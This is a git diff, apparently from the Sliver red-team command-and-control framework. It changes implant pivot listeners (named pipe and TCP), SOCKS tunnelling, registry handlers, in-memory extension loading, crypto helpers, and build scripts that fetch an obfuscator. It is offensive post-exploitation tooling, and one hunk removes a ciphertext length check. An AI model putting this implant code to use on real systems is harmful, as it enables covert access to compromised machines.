log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
coreLog.Debugf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := n.Write(p.Data)
if err != nil {
@@ -150,7 +151,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
Request: &commonpb.Request{SessionID: rpcSocks.SessionID},
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
coreLog.Infof("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Listener.Close()
proxy.CloseSend()
return nil
@@ -192,7 +193,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
coreLog.Infof("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
defer leakyBuf.Put(buff)
@@ -208,7 +209,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
if n > 0 {
frame.Data = buff[:n]
frame.Sequence = ToImplantSequence
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
coreLog.Debugf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
return
+2 -2
View File
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
SessionID uint32
Send chan []byte
Recv chan []byte
+4 -4
View File
@@ -32,11 +32,11 @@ import (
func init() {
buf := make([]byte, 8)
_, err := rand.Read(buf)
if err != nil {
insecureRand.Seed(int64(time.Now().Unix()))
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
seed := uint64(time.Now().Unix())
if err == nil {
binary.LittleEndian.PutUint64(buf, uint64(seed))
}
insecureRand.Seed(int64(seed))
}
func main() {
+1 -1
View File
@@ -50,7 +50,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
return out, 0, int(agentSession.Session.GetID())
case "exit":
return shutdown(agentSession)
default:
+1 -1
View File
@@ -78,7 +78,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
+16 -13
View File
@@ -16,12 +16,12 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
set -e
# Creates the static go asset archives
GO_VER="1.17.6"
GO_VER="1.17.5"
GARBLE_VER="1.17.5"
COFF_LOADER_VER="1.0.7"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
@@ -50,7 +50,7 @@ fi
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
OUTPUT_DIR=$REPO_DIR/server/assets/fs
mkdir -p $OUTPUT_DIR
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
WORK_DIR=`mktemp -d`
echo "-----------------------------------------------------------------"
@@ -134,20 +134,23 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
# --- Client ---
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
echo "-----------------------------------------------------------------"
echo " Garble"
echo "-----------------------------------------------------------------"
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " COFF Loader"
echo "-----------------------------------------------------------------"
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
# end
echo -e "clean up: $WORK_DIR"
+15 -32
View File
@@ -21,45 +21,28 @@ echo "----------------------------------------------------------------"
echo "WARNING: Running unit tests on slow systems can take a LONG time"
echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
echo "----------------------------------------------------------------"
TAGS=osusergo,netgo,cgosqlite,sqlite_omit_load_extension
## Client
# client / command / alias
if go test -tags=client,$TAGS ./client/command/alias ; then
:
else
exit 1
fi
# client / command / extensions
if go test -tags=client,$TAGS ./client/command/extensions ; then
:
else
exit 1
fi
## Util
# util
if go test -tags=server,$TAGS ./util ; then
if go test -tags=server,gosqlite ./util ; then
:
else
exit 1
fi
# util / encoders
if go test -tags=server,$TAGS ./util/encoders/basex ; then
if go test -tags=server,gosqlite ./util/encoders/basex ; then
:
else
exit 1
fi
if go test -tags=server,$TAGS ./util/encoders ; then
if go test -tags=server,gosqlite ./util/encoders ; then
:
else
exit 1
fi
if go test -tags=client,$TAGS ./util/encoders ; then
if go test -tags=client,gosqlite ./util/encoders ; then
:
else
exit 1
@@ -68,7 +51,7 @@ fi
## Implant
# implant / sliver / transports / dnsclient
if go test -tags=server,$TAGS ./implant/sliver/transports/dnsclient ; then
if go test -tags=server,gosqlite ./implant/sliver/transports/dnsclient ; then
:
else
exit 1
@@ -77,7 +60,7 @@ fi
## Server
# server / website
if go test -tags=server,$TAGS ./server/website ; then
if go test -tags=server,gosqlite ./server/website ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -85,7 +68,7 @@ else
fi
# server / loot
if go test -tags=server,$TAGS ./server/loot ; then
if go test -tags=server,gosqlite ./server/loot ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -93,7 +76,7 @@ else
fi
# server / certs
if go test -tags=server,$TAGS ./server/certs ; then
if go test -tags=server,gosqlite ./server/certs ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -101,7 +84,7 @@ else
fi
# server / cryptography
if go test -tags=server,$TAGS ./server/cryptography ; then
if go test -tags=server,gosqlite ./server/cryptography ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -109,7 +92,7 @@ else
fi
# server / cryptography / minisign
if go test -tags=server,$TAGS ./server/cryptography/minisign ; then
if go test -tags=server,gosqlite ./server/cryptography/minisign ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -117,7 +100,7 @@ else
fi
# server / gogo
if go test -tags=server,$TAGS ./server/gogo ; then
if go test -tags=server,gosqlite ./server/gogo ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -125,7 +108,7 @@ else
fi
# server / c2
if go test -tags=server,$TAGS ./server/c2 ; then
if go test -tags=server,gosqlite ./server/c2 ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -133,7 +116,7 @@ else
fi
# server / configs
if go test -tags=server,$TAGS ./server/configs ; then
if go test -tags=server,gosqlite ./server/configs ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -141,7 +124,7 @@ else
fi
# server / console
if go test -tags=server,$TAGS ./server/console ; then
if go test -tags=server,gosqlite ./server/console ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -149,7 +132,7 @@ else
fi
# server / generate
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
if go test -tags=server,gosqlite ./server/generate -timeout 6h ; then
:
else
cat ~/.sliver/logs/sliver.log
+1 -2
View File
@@ -5,8 +5,6 @@ go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
@@ -61,6 +59,7 @@ require (
)
require (
github.com/emirpasic/gods v1.12.0
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+4 -2
View File
@@ -104,6 +104,8 @@ github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2
github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
github.com/desertbit/grumble v1.1.1 h1:1wxy6ka1aqbtA3kZIHaPfB/DD91HSM2m4Kx2QIIGfpE=
github.com/desertbit/grumble v1.1.1/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
@@ -112,6 +114,8 @@ github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg=
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
@@ -369,8 +373,6 @@ github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:F
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
+2 -6
View File
@@ -29,11 +29,11 @@ import (
"io"
"os"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
@@ -73,9 +73,6 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < 24 {
return nil, errors.New("ciphertext too short")
}
var decryptNonce [24]byte
copy(decryptNonce[:], ciphertext[:24])
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
@@ -107,12 +104,11 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
if err != nil {
return nil, err
}
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
return aead.Seal(nonce, nonce, plaintext, nil), nil
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
}
// Decrypt - Decrypt using chacha20poly1305
-1
View File
@@ -43,7 +43,6 @@ var (
// TOTP secret value
totpSecret = "{{.OTPSecret}}"
// ErrInvalidPeerKey - Peer to peer key exchange failed
ErrInvalidPeerKey = errors.New("invalid peer key")
)
+1 -12
View File
@@ -18,13 +18,7 @@ package extension
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
// {{if .Config.Debug}}
"log"
// {{end}}
)
import "errors"
var extensions map[string]Extension
@@ -51,11 +45,6 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
if ext, found := extensions[extID]; found {
return ext.Call(funcName, arguments, callback)
}
// {{if .Config.Debug}}
for id, ext := range extensions {
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
}
//{{end}}
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
}
@@ -65,9 +65,6 @@ func (w *WindowsExtension) GetArch() string {
func (w *WindowsExtension) Load() error {
var err error
if len(w.data) == 0 {
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
}
w.module, err = memmod.LoadLibrary(w.data)
if err != nil {
return err
@@ -77,7 +77,6 @@ var (
sliverpb.MsgRegistryReadReq: regReadHandler,
sliverpb.MsgRegistryWriteReq: regWriteHandler,
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
@@ -497,23 +496,6 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func regDeleteKeyHandler(data []byte, resp RPCResponse) {
deleteReq := &sliverpb.RegistryDeleteKeyReq{}
err := proto.Unmarshal(data, deleteReq)
if err != nil {
return
}
err = registry.DeleteKey(deleteReq.Hostname, deleteReq.Hive, deleteReq.Path, deleteReq.Key)
deleteResp := &sliverpb.RegistryDeleteKey{
Response: &commonpb.Response{},
}
if err != nil {
deleteResp.Response.Err = err.Error()
}
data, err = proto.Marshal(deleteResp)
resp(data, err)
}
func regSubKeysListHandler(data []byte, resp RPCResponse) {
listReq := &sliverpb.RegistrySubKeyListReq{}
err := proto.Unmarshal(data, listReq)
+4 -13
View File
@@ -69,8 +69,8 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
return
}
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := createListener(req.BindAddress, connection.Send)
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := startListener(req.BindAddress, connection.Send)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
@@ -80,7 +80,6 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
}
return
}
go listener.Start()
pivots.AddListener(listener)
data, _ := proto.Marshal(listener.ToProtobuf())
connection.Send <- &pb.Envelope{
@@ -118,20 +117,12 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
}
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
sent, err := pivots.SendToPeer(envelope)
sent := pivots.SendToPeer(envelope)
if !sent {
// {{if .Config.Debug}}
log.Printf("Send to peer failed, report peer failure upstream ...")
// {{end}}
errStr := ""
if err != nil {
errStr = err.Error()
}
data, _ := proto.Marshal(&pb.PivotPeerFailure{
PeerID: pivots.MyPeerID,
Type: pb.PeerFailureType_SEND_FAILURE,
Err: errStr,
})
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
Data: data,
+21 -19
View File
@@ -20,7 +20,6 @@ package pivots
import (
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -30,37 +29,39 @@ import (
"github.com/lesnuages/go-winio"
)
var (
namedpipePivotReadDeadline = 10 * time.Second
namedpipePivotWriteDeadline = 10 * time.Second
)
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// StartNamedPipePivotListener - Starts a named pipe listener
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + address
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
})
// {{if .Config.Debug}}
log.Printf("Listening on named pipe %s", fullName)
log.Printf("Listening on %s", fullName)
// {{end}}
if err != nil {
return nil, err
}
pivotLn := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
PivotConnections: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
}
go namedPipeAcceptConnections(pivotLn)
return pivotLn, nil
}
func namedPipeAcceptConnections(pivotListener *PivotListener) {
// hostname, err := os.Hostname()
// if err != nil {
// // {{if .Config.Debug}}
// log.Printf("Failed to determine hostname %s", err)
// // {{end}}
// hostname = "."
// }
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
@@ -68,14 +69,15 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: namedpipePivotReadDeadline,
writeDeadline: namedpipePivotWriteDeadline,
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.PivotConnections)
go pivotConn.Start(pivotListener.Pivots)
}
}
+90 -204
View File
@@ -43,39 +43,17 @@ const (
)
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
ErrFailedWrite = errors.New("failed to write")
ErrFailedKeyExchange = errors.New("failed key exchange")
pivotListeners = &sync.Map{}
stoppedPivotListeners = &sync.Map{}
pivotListeners = &sync.Map{}
listenerID = uint32(0)
listenerID = uint32(0)
// MyPeerID - This implant's Peer ID, a per-execution instance ID
MyPeerID = generatePeerID()
pivotReadDeadline = 10 * time.Second
pivotWriteDeadline = 10 * time.Second
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
)
// generatePeerID - Generate a new pivot id
func generatePeerID() int64 {
buf := make([]byte, 8)
_, err := rand.Read(buf)
if err != nil {
return time.Now().UnixNano() // These need only be unique
}
peerID := int64(binary.LittleEndian.Uint64(buf))
if peerID == int64(0) {
return time.Now().UnixNano()
}
return peerID
}
// CreateListener - Generic interface to a start listener function
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// StartListener - Generic interface to a start listener function
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// GetListeners - Get a list of active listeners
func GetListeners() []*pb.PivotListener {
@@ -90,56 +68,9 @@ func GetListeners() []*pb.PivotListener {
// AddListener - Add a listener
func AddListener(listener *PivotListener) {
// {{if .Config.Debug}}
log.Printf("[pivot] my peer id: %d", MyPeerID)
log.Printf("[pivot] adding listener: %s", listener.BindAddress)
// {{end}}
pivotListeners.Store(listener.ID, listener)
}
// RemoveListener - Stop a pivot listener
func RemoveListener(id uint32) {
if listener, ok := pivotListeners.LoadAndDelete(id); ok {
listener.(*PivotListener).Stop()
}
}
// RestartAllListeners - Start all pivot listeners
func RestartAllListeners(send chan<- *pb.Envelope) {
stoppedPivotListeners.Range(func(key, value interface{}) bool {
stoppedListener := value.(*PivotListener)
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
listener, err := createListener(stoppedListener.BindAddress, send)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = nil
}
// StopAllListeners - Stop all pivot listeners
func StopAllListeners() {
pivotListeners.Range(func(key, value interface{}) bool {
value.(*PivotListener).Stop()
return true
})
stoppedPivotListeners = pivotListeners
pivotListeners = &sync.Map{}
}
// StartListener - Stop a pivot listener
func StartListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
listener.(*PivotListener).Start()
}
}
// StopListener - Stop a pivot listener
func StopListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
@@ -148,74 +79,71 @@ func StopListener(id uint32) {
}
// SendToPeer - Forward an envelope to a peer
func SendToPeer(envelope *pb.Envelope) (bool, error) {
pivotPeerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, pivotPeerEnvelope)
func SendToPeer(envelope *pb.Envelope) bool {
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to unmarshal peer envelope: %s", err)
// {{end}}
return false, err
return false
}
// {{if .Config.Debug}}
log.Printf("my peer envelope: %+v", pivotPeerEnvelope)
log.Printf("Peer Envelope: %v", peerEnvelope)
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
// {{end}}
nextPeerID, err := findNextPeerID(pivotPeerEnvelope)
downstreamEnvelope := &pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerEnvelope.Data,
}
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to find next peer id: %s", err)
log.Printf("Failed to unmarshal downstream envelope: %s", err)
// {{end}}
return false, err
return false
}
// NOTE: Yes linear search is bad, but there should be a very small
// number of listeners and pivots so it should be fine
sent := false // Controls iteration of outer loop
pivotListeners.Range(func(key interface{}, value interface{}) bool {
listener := value.(*PivotListener)
pivotConn, ok := listener.PivotConnections.Load(nextPeerID)
if ok {
pivot := pivotConn.(*NetConnPivot)
pivot.Downstream <- envelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
if pivot.ID() == peerEnvelope.PivotID {
pivot.Downstream <- downstreamEnvelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
return true // keep iterating inner loop
})
return !sent // keep iterating while not sent
})
// {{if .Config.Debug}}
if !sent {
// {{if .Config.Debug}}
log.Printf("Failed to find peer with id %d", nextPeerID)
// {{end}}
return false, errors.New("peer not found")
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
}
return sent, nil
}
func findNextPeerID(pivotPeerEnvelope *pb.PivotPeerEnvelope) (int64, error) {
for index, peer := range pivotPeerEnvelope.Peers {
if peer.PeerID == MyPeerID {
if 0 <= index-1 {
return pivotPeerEnvelope.Peers[index-1].PeerID, nil
}
}
}
return int64(0), errors.New("next peer not found")
// {{end}}
return sent
}
// PivotListener - A pivot listener
type PivotListener struct {
ID uint32
Type pb.PivotType
Listener net.Listener
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
ID uint32
Type pb.PivotType
Listener net.Listener
Pivots *sync.Map // ID -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
}
// ToProtobuf - Get the protobuf version of the pivot listener
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
pivotPeers := []*pb.NetConnPivot{}
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
pivotPeers := []*pb.PivotPeer{}
l.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
return true
@@ -228,47 +156,23 @@ func (l *PivotListener) ToProtobuf() *pb.PivotListener {
}
}
// Start - Start the pivot listener
func (p *PivotListener) Start() {
for {
conn, err := p.Listener.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] accept error: %s", err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: pivotReadDeadline,
writeDeadline: pivotWriteDeadline,
upstream: p.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(p.PivotConnections)
}
}
// Stop - Stop the pivot listener
func (l *PivotListener) Stop() {
l.Listener.Close() // Stop accepting new connections
// Close all existing connections
connectionIDs := []int64{}
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
connectionIDs = append(connectionIDs, key.(int64))
// Close all peer connections before closing listener
l.Pivots.Range(func(key interface{}, value interface{}) bool {
value.(*NetConnPivot).Close()
return true
})
for _, id := range connectionIDs {
pivotConn, ok := l.PivotConnections.LoadAndDelete(id)
if ok {
pivotConn.(*NetConnPivot).Close()
}
l.Pivots = nil
l.Listener.Close()
}
// PivotClose - Close a pivot connection
func (l *PivotListener) PivotClose(id int64) {
if p, ok := l.Pivots.Load(id); ok {
l.Pivots.Delete(id)
p.(*NetConnPivot).Close()
}
l.PivotConnections = &sync.Map{} // Make sure we drop any refs
}
// ListenerID - Generate a new pivot id
@@ -277,50 +181,55 @@ func ListenerID() uint32 {
return listenerID
}
// PivotID - Generate a new pivot id
func PivotID() int64 {
buf := make([]byte, 8)
rand.Read(buf)
return int64(binary.LittleEndian.Uint64(buf))
}
// NetConnPivot - A generic pivot connection to a peer via net.Conn
type NetConnPivot struct {
downstreamPeerID int64
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
id int64
